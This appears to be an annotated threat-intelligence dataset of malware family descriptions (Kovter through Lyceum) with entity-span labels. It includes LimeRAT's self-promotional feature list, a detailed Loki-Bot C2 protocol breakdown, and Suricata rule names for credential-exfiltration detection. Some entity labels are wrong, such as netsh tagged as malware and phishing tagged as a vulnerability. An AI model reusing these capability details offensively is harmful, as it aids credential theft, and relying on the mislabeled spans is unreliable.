+{"text": "Kovter is a Police Ransomware\r\n\r\nFeb 2012 - Police Ransomware\r\nAug 2013 - Became AD Fraud\r\nMar 2014 - Ransomware to AD Fraud malware\r\nJune 2014 - Distributed from sweet orange exploit kit\r\nDec 2014 - Run affiliated node\r\nApr 2015 - Spread via fiesta and nuclear pack\r\nMay 2015 - Kovter become fileless\r\n2016 - Malvertising campaign on Chrome and Firefox\r\nJune 2016 - Change in persistence\r\nJuly 2017 - Nemucod and Kovter was packed together\r\nJan 2018 - Cyclance report on Persistence", "spans": {"MALWARE: Kovter": [[0, 6], [279, 285], [414, 420]], "SYSTEM: Chrome": [[335, 341]], "SYSTEM: Firefox": [[346, 353]]}, "info": {"source": "apt_reports", "name": "Kovter"}}
+{"text": "KPOT is an information-stealing Trojan horse that can steal information from infected computers. It is distributed through phishing emails and malicious websites. Once executed on a computer, KPOT can steal passwords, credit card numbers, and other personal information.", "spans": {"MALWARE: KPOT": [[0, 4], [192, 196]], "VULNERABILITY: phishing": [[123, 131]]}, "info": {"source": "apt_reports", "name": "KPOT Stealer"}}
+{"text": "According to ESET, this malware family is a banking trojan and was active in Brazil until the middle of 2019. Its most noticeable characteristic was its usage of well-known cryptographic methods to encrypt strings, as opposed to the majority of Latin American banking trojans that mainly use custom encryption schemes.", "spans": {"SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "Krachulka"}}
+{"text": "A ransomware that was active in 2018.", "spans": {}, "info": {"source": "apt_reports", "name": "Kraken"}}
+{"text": "KrakenKeylogger is a .NET based Infostealer malware sold in Underground hacking forums", "spans": {"MALWARE: KrakenKeylogger": [[0, 15]], "SYSTEM: .NET": [[21, 25]]}, "info": {"source": "apt_reports", "name": "KrakenKeylogger"}}
+{"text": "ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.", "spans": {"MALWARE: KRBanker": [[21, 29]], "MALWARE: Blackmoon": [[31, 40]]}, "info": {"source": "apt_reports", "name": "KrBanker"}}
+{"text": "According to Trend Micro, this is a rootkit with capabilities of a full-featured backdoor with various capabilities, including process manipulation, file hiding, shellcode execution, traffic concealment, and C&C communication. It is controlled through a range of IOCTL codes.", "spans": {"SYSTEM: Trend Micro": [[13, 24]], "VULNERABILITY: rootkit": [[36, 43]]}, "info": {"source": "apt_reports", "name": "KRNRAT"}}
+{"text": "Kronos malware is a sophisticated banking Trojan that first emerged in 2014. It is designed to target financial institutions and steal sensitive banking information. The malware is primarily spread through phishing campaigns and exploit kits. Once installed on a victim's computer, Kronos can capture login credentials, credit card details, and other personal information by keylogging and form grabbing techniques. It can also bypass security measures such as two-factor authentication. Kronos employs advanced evasion techniques to avoid detection by antivirus software and actively updates itself to evade security patches. It has been known to target a wide range of banking systems and has affected numerous organizations worldwide. The malware continues to evolve, making it a significant threat to online banking security.", "spans": {"MALWARE: Kronos": [[0, 6], [282, 288], [488, 494]], "VULNERABILITY: phishing": [[206, 214]], "VULNERABILITY: keylogging": [[375, 385]]}, "info": {"source": "apt_reports", "name": "Kronos"}}
+{"text": "A keylogger used by Turla.", "spans": {"THREAT_ACTOR: Turla": [[20, 25]], "VULNERABILITY: keylogger": [[2, 11]]}, "info": {"source": "apt_reports", "name": "KSL0T"}}
+{"text": "According to Trend Micro, KTLVdoor is a highly obfuscated malware that masquerades as different system utilities, allowing attackers to carry out a variety of tasks including file manipulation, command execution, and remote port scanning.", "spans": {"MALWARE: KTLVdoor": [[26, 34]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "KTLVdoor"}}
+{"text": "According to Threatray, KugelBlitz is a shellcode loader discovered in late 2024. It loads shellcode into memory from a file specified via command line. If no file is specified, it defaults to run.bin.", "spans": {"MALWARE: KugelBlitz": [[24, 34]]}, "info": {"source": "apt_reports", "name": "KugelBlitz"}}
+{"text": "Cofense characterizes Kutaki as a data stealer that uses old-school techniques to detect sandboxes and debugging. Kutaki however works quite well against unhardened virtual machines and other analysis devices. By backdooring a legitimate application, it can fool unsophisticated detection methodologies.", "spans": {"MALWARE: Kutaki": [[22, 28], [114, 120]], "ORGANIZATION: Cofense": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Kutaki"}}
+{"text": "Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes \"q=[ENCRYPTED DATA]\" in the URI.", "spans": {"MALWARE: Kwampirs": [[0, 8]], "SYSTEM: SMB": [[43, 46]]}, "info": {"source": "apt_reports", "name": "Kwampirs"}}
+{"text": "According to its self-description, Ladon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password blasting, high-risk vulnerability detection and one click getshell. It supports batch a segment / b segment / C segment and cross network segment scanning, as well as URL, host and domain name list scanning.", "spans": {"MALWARE: Ladon": [[35, 40]]}, "info": {"source": "apt_reports", "name": "Ladon"}}
+{"text": "According to Microsoft, this is a downloader used in a supply chain attack involving a malicious variant of an application developed by CyberLink. It is centered around a legitimate CyberLink application installer that has been modified to include malicious code that downloads, decrypts, and loads a second-stage payload. The file, which was signed using a valid certificate issued to CyberLink Corp., is hosted on legitimate update infrastructure owned by CyberLink and includes checks to limit the time window for execution and evade detection by security products.", "spans": {"ORGANIZATION: Microsoft": [[13, 22]], "VULNERABILITY: supply chain attack": [[55, 74]]}, "info": {"source": "apt_reports", "name": "LambLoad"}}
+{"text": "Clipboard stealer.", "spans": {}, "info": {"source": "apt_reports", "name": "LaplasClipper"}}
+{"text": "According to Seqrite, this is a TLS-based reverse shell.", "spans": {}, "info": {"source": "apt_reports", "name": "Laplas (Reverseshell)"}}
+{"text": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", "spans": {"MALWARE: LATENTBOT": [[654, 663]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "LatentBot"}}
+{"text": "First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.", "spans": {"MALWARE: BLACKWIDOW": [[34, 44]], "THREAT_ACTOR: LUNAR SPIDER": [[362, 374]], "MALWARE: BokBot": [[404, 410]], "MALWARE: IcedID": [[392, 398]]}, "info": {"source": "apt_reports", "name": "Latrodectus"}}
+{"text": "A further branch of the URSNIF collection of malware families. According to Mandiant, it no longer has focus on banking fraud but generic backdoor capabilities instead.", "spans": {"ORGANIZATION: Mandiant": [[76, 84]]}, "info": {"source": "apt_reports", "name": "LDR4"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Leakthemall"}}
+{"text": "Lemon Duck is a monerocrypto-mining malware with capabilitiy to spread rapidly across the entire network. The malware runs its payload mainly in memory. Internal network spreading is performed by SMB RCE Vulnerability (CVE-2017-0144), or brute-force attacks.", "spans": {"CVE_ID: CVE-2017-0144": [[219, 232]], "MALWARE: Lemon Duck": [[0, 10]], "SYSTEM: SMB": [[196, 199]], "VULNERABILITY: RCE": [[200, 203]], "VULNERABILITY: brute-force": [[238, 249]]}, "info": {"source": "apt_reports", "name": "Lemon Duck"}}
+{"text": "Leslieloader is a loader written in Golang, named after the observed AES decryption key referencing deceased actor, Leslie Cheung. The loader assists in the initial infection and deployment of the malicious payload, enabling execution on a system. The loader achieves its goal by decoding and decrypting a secondary payload binary, then injecting it into another process.", "spans": {"MALWARE: Leslieloader": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Leslieloader"}}
+{"text": "Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.", "spans": {"MALWARE: Lethic": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Lethic"}}
+{"text": "LgoogLoader is an installer that drops three files:  a batch file, an AutoIt interpreter, and an AutoIt script. After downloading, it executes the batch file.", "spans": {"MALWARE: LgoogLoader": [[0, 11]]}, "info": {"source": "apt_reports", "name": "LgoogLoader"}}
+{"text": "LightlessCan is a complex HTTP(S) RAT, that is a successor of the Lazarus RAT named BlindingCan. \r\n\r\nIn Q2 2022 and Q1 2023, it was deployed in targeted attacks against an aerospace company in Spain and a technology company in India.\r\n\r\nBesides the support for commands already present in BlindingCan, its most significant update is mimicked functionality of many native Windows commands:\r\n• ipconfig\r\n• net\r\n• netsh advfirewall firewall \r\n• netstat \r\n• reg\r\n• sc\r\n• ping (for both IPv4 and IPv6 protocols)\r\n• wmic process call create \r\n• nslookup \r\n• schstasks \r\n• systeminfo\r\n• arp\r\n\r\nThese native commands are often abused by the attackers after they have gotten a foothold in the target’s system. Lightless is able to execute them discreetly within the RAT itself, rather than being executed visibly in the system console. This provides stealthiness, both in evading real-time monitoring solutions like EDRs, and postmortem digital forensic tools.\r\n\r\nLightlessCan use RC6 for decryption of its configuration, and also for encryption and decryption of network traffic.", "spans": {"MALWARE: LightlessCan": [[0, 12], [955, 967]], "TOOL: wmic": [[510, 514]], "TOOL: ipconfig": [[392, 400]], "SYSTEM: Windows": [[371, 378]], "MALWARE: netsh": [[411, 416]], "MALWARE: netstat": [[442, 449]]}, "info": {"source": "apt_reports", "name": "LightlessCan"}}
+{"text": "Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user’s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the  JSON format for exfiltration.", "spans": {"MALWARE: Lightning Stealer": [[177, 194]], "SYSTEM: Firefox": [[33, 40]], "SYSTEM: Telegram": [[95, 103]], "SYSTEM: Discord": [[110, 117]]}, "info": {"source": "apt_reports", "name": "Lightning Stealer"}}
+{"text": "According to Mandiant, this is a tunneler, likely based on an open-source Socks4a proxy, that communicates using Azure cloud infrastructure.", "spans": {"SYSTEM: Azure": [[113, 118]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "LIGHTRAIL"}}
+{"text": "According to Mandiant, LIGHTWORK is a disruption tool written in C++ that implements the IEC-104 protocol to modify the state of RTUs over TCP. It crafts configurable IEC-104 ASDU messages, to change the state of RTU IOAs to ON or OFF. This sample works in tandem with PIEHOP, which sets up the execution.", "spans": {"MALWARE: LIGHTWORK": [[23, 32]], "ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: PIEHOP": [[269, 275]]}, "info": {"source": "apt_reports", "name": "LIGHTWORK"}}
+{"text": "Lilith is a console-based ultra light-weight RAT developed in C++. It features a straight-forward set of commands that allows for near complete control of a machine.", "spans": {"MALWARE: Lilith": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Lilith"}}
+{"text": "## Description\r\n Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves. \r\n \r\n ---\r\n\r\n## Main Features\r\n\r\n- **.NET**\r\n    - Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0\r\n- **Connection**\r\n    - Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports\r\n- **Plugin**\r\n    - Using plugin system to decrease stub's size and lower the AV detection\r\n- **Encryption**\r\n    - The communication between server & client is encrypted with AES\r\n- **Spreading**\r\n    - Infecting all files and folders on USB drivers\r\n- **Bypass**\r\n    - Low AV detection and undetected startup method\r\n- **Lightweight**\r\n    - Payload size is about 25 KB\r\n- **Anti Virtual Machines**\r\n    - Uninstall itself if the machine is virtual to avoid scanning or analyzing \r\n- **Ransomware**\r\n    - Encrypting files on all HHD and USB with .Lime extension\r\n- **XMR Miner**\r\n    - High performance Monero CPU miner with user idle\\active optimizations\r\n- **DDoS**\r\n    - Creating a powerful DDOS attack to make an online service unavailable\r\n- **Crypto Stealer**\r\n    - Stealing Cryptocurrency sensitive data\r\n- **Screen-Locker**\r\n    - Prevents user from accessing their Windows GUI  \r\n - **And more**\r\n    - On Connect Auto Task\r\n\t- Force enable Windows RDP\r\n\t- Persistence\r\n    - File manager\r\n    - Passowrds stealer\r\n    - Remote desktop\r\n    - Bitcoin grabber\r\n    - Downloader\r\n    - Keylogger", "spans": {"DOMAIN: pastebin.com": [[368, 380]], "DOMAIN: noip.com": [[405, 413]], "TOOL: RDP": [[1411, 1414]], "SYSTEM: Windows": [[45, 52], [1327, 1334], [1403, 1410]], "SYSTEM: .NET": [[228, 232], [264, 268]], "VULNERABILITY: DDoS": [[1112, 1116]]}, "info": {"source": "apt_reports", "name": "LimeRAT"}}
+{"text": "According to CarbonBlack, LiteDuke is a third stage backdoor. It appears to use the same dropper as PolyglotDuke. Its payload makes use of an AES encrypted SQLite database to store its configuration. LiteDuke supports a large number of individual commands including host information retrieval, file upload and download, and the ability to execute other code. LiteDuke C2 servers appear to be compromised servers, and the malware communicates with them using normal HTTP requests. It attempts to use a realistic User-Agent string to blend in better with normal HTTP traffic. \r\nESET have dubbed it LiteDuke because it uses SQLite  to store information such as its configuration.", "spans": {"MALWARE: LiteDuke": [[26, 34], [200, 208], [359, 367], [596, 604]], "SYSTEM: SQLite": [[156, 162], [621, 627]], "SYSTEM: ESET": [[576, 580]], "MALWARE: PolyglotDuke": [[100, 112]]}, "info": {"source": "apt_reports", "name": "LiteDuke"}}
+{"text": "According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system. \r\n\r\nThe source is on GitHub: https://github.com/zettabithf/LiteHTTP", "spans": {"URL: https://github.com/zettabithf/LiteHTTP": [[243, 281]], "MALWARE: LiteHTTP": [[25, 33], [273, 281]], "SYSTEM: GitHub": [[235, 241]]}, "info": {"source": "apt_reports", "name": "LiteHTTP"}}
+{"text": "According to PCrisk, LOBSHOT is a type of malware with a feature called hVNC (Hidden Virtual Network Computing) that allows attackers to access a victim's computer without being noticed. The hVNC component is effective in evading fraud detection systems. Also,  LOBSHOT is being used to carry out financial crimes through the use of banking trojan and information-stealing functionalities.", "spans": {"MALWARE: LOBSHOT": [[21, 28], [262, 269]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "LOBSHOT"}}
+{"text": "According to Trend Micro, LockerGoga is a ransomware that has been used in multiple attacks, most notably against Altran Technologies and Norsk Hydro. It encrypts a range of documents and source code files but certain versions had little to no whitelist that would protect import system files such as the Windows Boot Manager.", "spans": {"MALWARE: LockerGoga": [[26, 36]], "SYSTEM: Windows": [[305, 312]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "LockerGoga"}}
+{"text": "A ransomware first observed in July 2021.", "spans": {}, "info": {"source": "apt_reports", "name": "LockFile"}}
+{"text": "Locky is a high profile ransomware family that first appeared in early 2016 and was observed being active until end of 2017. It encrypts files on the victim system and asks for ransom in order to have back original files. In its first version it added a .locky extension to the encrypted files, and in recent versions it added the .lukitus extension. The ransom amount is defined in BTC and depends on the actor.", "spans": {"MALWARE: Locky": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Locky"}}
+{"text": "For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.", "spans": {}, "info": {"source": "apt_reports", "name": "Locky Loader"}}
+{"text": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.", "spans": {"MALWARE: Loda": [[0, 4], [129, 133], [202, 206], [359, 363]], "MALWARE: Nymeria": [[375, 382]], "ORGANIZATION: Proofpoint": [[103, 113]], "VULNERABILITY: keylogger": [[278, 287]]}, "info": {"source": "apt_reports", "name": "Loda"}}
+{"text": "LokiLocker is a .Net ransomware, which was seen first in August 2021. This malware is protected with NETGuard (modified ConfuserEX) using the additional KoiVM virtualization plugin.\r\nThe victims were observed ti be scattered around the world, with main concentation in Estern Europe and Asia (BlackBerry).", "spans": {"MALWARE: LokiLocker": [[0, 10]], "ORGANIZATION: BlackBerry": [[293, 303]], "MALWARE: KoiVM": [[153, 158]]}, "info": {"source": "apt_reports", "name": "LokiLocker"}}
+{"text": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2", "spans": {"FILEPATH: %APPDATA%": [[821, 830], [924, 933], [990, 999]], "DOMAIN: ckav.ru": [[2882, 2889]], "MALWARE: Loki": [[1, 5], [342, 346], [481, 485], [603, 607], [777, 781], [1621, 1625], [1787, 1791], [1859, 1863], [1943, 1947], [2022, 2026], [2390, 2394], [2966, 2970], [3255, 3259], [3288, 3292], [3553, 3557], [3576, 3580], [3713, 3717], [3785, 3789], [3866, 3870], [3930, 3934], [3985, 3989], [4053, 4057], [4114, 4118], [4195, 4199], [4259, 4263]], "SYSTEM: Windows": [[1364, 1371], [1887, 1894]], "VULNERABILITY: keylogger": [[1535, 1544]]}, "info": {"source": "apt_reports", "name": "Loki Password Stealer (PWS)"}}
+{"text": "According to ESET, this is a banking trojan that was active mainly in Mexico until the beginning of 2020, with builds for Brazil, Chile, and Colombia also having been identified.", "spans": {"SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "Lokorrito"}}
+{"text": "The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.", "spans": {"MALWARE: LONGWATCH": [[24, 33]], "SYSTEM: Windows": [[98, 105]], "VULNERABILITY: keylogger": [[39, 48]]}, "info": {"source": "apt_reports", "name": "LONGWATCH"}}
+{"text": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families.", "spans": {"MALWARE: LooChiper": [[0, 9]], "MALWARE: Lucifer": [[199, 206]], "MALWARE: LooCipher": [[58, 67]]}, "info": {"source": "apt_reports", "name": "looChiper"}}
+{"text": "LooCipher is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families.", "spans": {"MALWARE: LooCipher": [[0, 9], [58, 67]], "MALWARE: Lucifer": [[199, 206]]}, "info": {"source": "apt_reports", "name": "LooCipher"}}
+{"text": "L0rdix is a multipurpose .NET remote access tool (RAT) first discovered being sold on underground forums in November 2018. Out of the box, L0rdix supports eight commands, although custom commands can be defined and added. These include:\r\n\r\nDownload and execute\r\nUpdate\r\nOpen page (visible)\r\nOpen page (invisible)\r\nCmd\r\nKill process\r\nUpload file\r\nHTTP Flood\r\n\r\nL0rdix can extract credentials from common web browsers and steal data from crypto wallets and a target's clipboard. Optionally, L0rdix can deploy a cryptominer (XMRig) to its bots.", "spans": {"MALWARE: L0rdix": [[0, 6], [139, 145], [360, 366], [489, 495]], "SYSTEM: .NET": [[25, 29]]}, "info": {"source": "apt_reports", "name": "L0rdix"}}
+{"text": "Tesorion describes Lorenz as a ransomware with design and implementation flaws, leading to impossible decryption with tools provided by the attackers. A free decryptor for 2021 versions was made available via the NoMoreRansom initiative. A new version of the malware was discovered in March 2022, for which again was provided a free decryptor, while the ransomware operators are not able to provide tools to decrypt affected files.", "spans": {"MALWARE: Lorenz": [[19, 25]]}, "info": {"source": "apt_reports", "name": "Lorenz"}}
+{"text": "Frank Boldewin describes Loup as a small cli-tool to cash out NCR devices (ATM).", "spans": {"MALWARE: Loup": [[25, 29]]}, "info": {"source": "apt_reports", "name": "Loup"}}
+{"text": "LOWBALL, uses the legitimate Dropbox cloud-storage\r\nservice to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.", "spans": {"MALWARE: LOWBALL": [[0, 7]]}, "info": {"source": "apt_reports", "name": "LOWBALL"}}
+{"text": "LPEClient is an HTTP(S) downloader that expects two command line parameters: an encrypted string containing two URLs (a primary and a secondary C&C server), and the path on the victim's file system to store the downloaded payload. \r\n\r\nIt sends detailed information about the victim's environment, like computer name, type and number of processors, computer manufacturer, product name, major and minor Windows versions, architecture, memory information, installed security software and the version of the ntoskrnl.exe from its version-information resource.\r\n\r\nLPEClient uses specific 32-bit values to represent its execution state (0x59863F09 when connecting via the WinHTTP interface, 0xA9348B57 via WinINet), or the nature of HTTP requests to the C&C servers (0xF07D6B34 when sending system information, 0xEF8C0D51 when requesting a DLL payload, 0xCB790A25 when reporting the successful loading of the DLL, 0xD7B20A96 when reporting the state of the the DLL execution). As the final step, malware looks for the export CloseEnv and executes it.", "spans": {"MALWARE: LPEClient": [[0, 9], [559, 568]], "SYSTEM: Windows": [[401, 408]]}, "info": {"source": "apt_reports", "name": "LPEClient"}}
+{"text": "This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service \"transfer.sh\".", "spans": {"SYSTEM: Go": [[8, 10]]}, "info": {"source": "apt_reports", "name": "lsassDumper"}}
+{"text": "According to PCrisk, Lu0bot es un software malicioso. El malware es ligero, por lo que su uso de los recursos del sistema es bajo. Esto complica la detección de Lu0bot, ya que no causa síntomas significativos, como una grave disminución del rendimiento del sistema.\r\n\r\nEl programa malicioso funciona como un recolector de telemetría.", "spans": {"MALWARE: Lu0bot": [[21, 27], [161, 167]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Lu0Bot"}}
+{"text": "According to PCRisk, The Luca stealer can extract a variety of information from compromised machines. It targets data related to the following: operating system, device name, CPUs, desktop environment, network interface, user account name, preferred system language, running processes, etc.\r\n\r\nThis malicious program can steal information from over thirty Chromium-based browsers. From these applications, Luca can obtain Internet cookies, account log-in credentials (usernames/passwords), and credit card numbers. Additionally, the stealer can extract data from password manager and cryptowallet browser extensions compatible with over twenty browsers.\r\n\r\nThis malware also targets various messaging applications like Telegram, Discord, ICQ, Skype, Element, etc. It likewise aims to acquire information from gaming-related software such as Steam and Uplay (Ubisoft Connect). Furthermore, some versions of Luca can take screenshots and download the files stored on victims' devices.", "spans": {"MALWARE: Luca stealer": [[25, 37]], "SYSTEM: Skype": [[743, 748]], "SYSTEM: Telegram": [[719, 727]], "SYSTEM: Discord": [[729, 736]]}, "info": {"source": "apt_reports", "name": "Luca Stealer"}}
+{"text": "This family was previously tracked as PovertyStealer until it's actual name was identified via crime forums.", "spans": {"MALWARE: PovertyStealer": [[38, 52]]}, "info": {"source": "apt_reports", "name": "Lumar"}}
+{"text": "Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor \"Shamel\", who goes by the alias \"Lumma\". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent \"TeslaBrowser/5.5\".\" The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.", "spans": {"MALWARE: Lumma Stealer": [[0, 13], [306, 319]], "MALWARE: LummaC2 Stealer": [[19, 34]], "TOOL: PowerShell": [[743, 753]]}, "info": {"source": "apt_reports", "name": "Lumma Stealer"}}
+{"text": "According to ESET Research, this is a Outlook Add-In that can use email messages for its C&C communication.", "spans": {"SYSTEM: ESET": [[13, 17]], "SYSTEM: Outlook": [[38, 45]]}, "info": {"source": "apt_reports", "name": "LunarMail"}}
+{"text": "An uploader that can exfiltrate files to Dropbox.", "spans": {}, "info": {"source": "apt_reports", "name": "LunchMoney"}}
+{"text": "This .NET written malware is used as backdoor using the dns protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using HTTP (.Net) and also one written in Golang.", "spans": {"SYSTEM: .NET": [[5, 9]]}, "info": {"source": "apt_reports", "name": "Lyceum .NET DNS Backdoor"}}
+{"text": "This .Net written malware is used as backdoor using the http protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using DNS (.Net) and also one written in Golang.", "spans": {}, "info": {"source": "apt_reports", "name": "Lyceum .NET TCP Backdoor"}}
+{"text": "This Golang written malware is used as backdoor using the http protocol by a state sponsored threat actor (TA). This backdoor is running in a loop of three stages: \r\n- Check the connectivity\r\n- Registration of the victim\r\n- Retrieval and execution of commands\r\nThis TA is using also variants .NET backdoors utilizing HTTP and DNS.", "spans": {"SYSTEM: .NET": [[292, 296]]}, "info": {"source": "apt_reports", "name": "Lyceum Golang HTTP Backdoor"}}
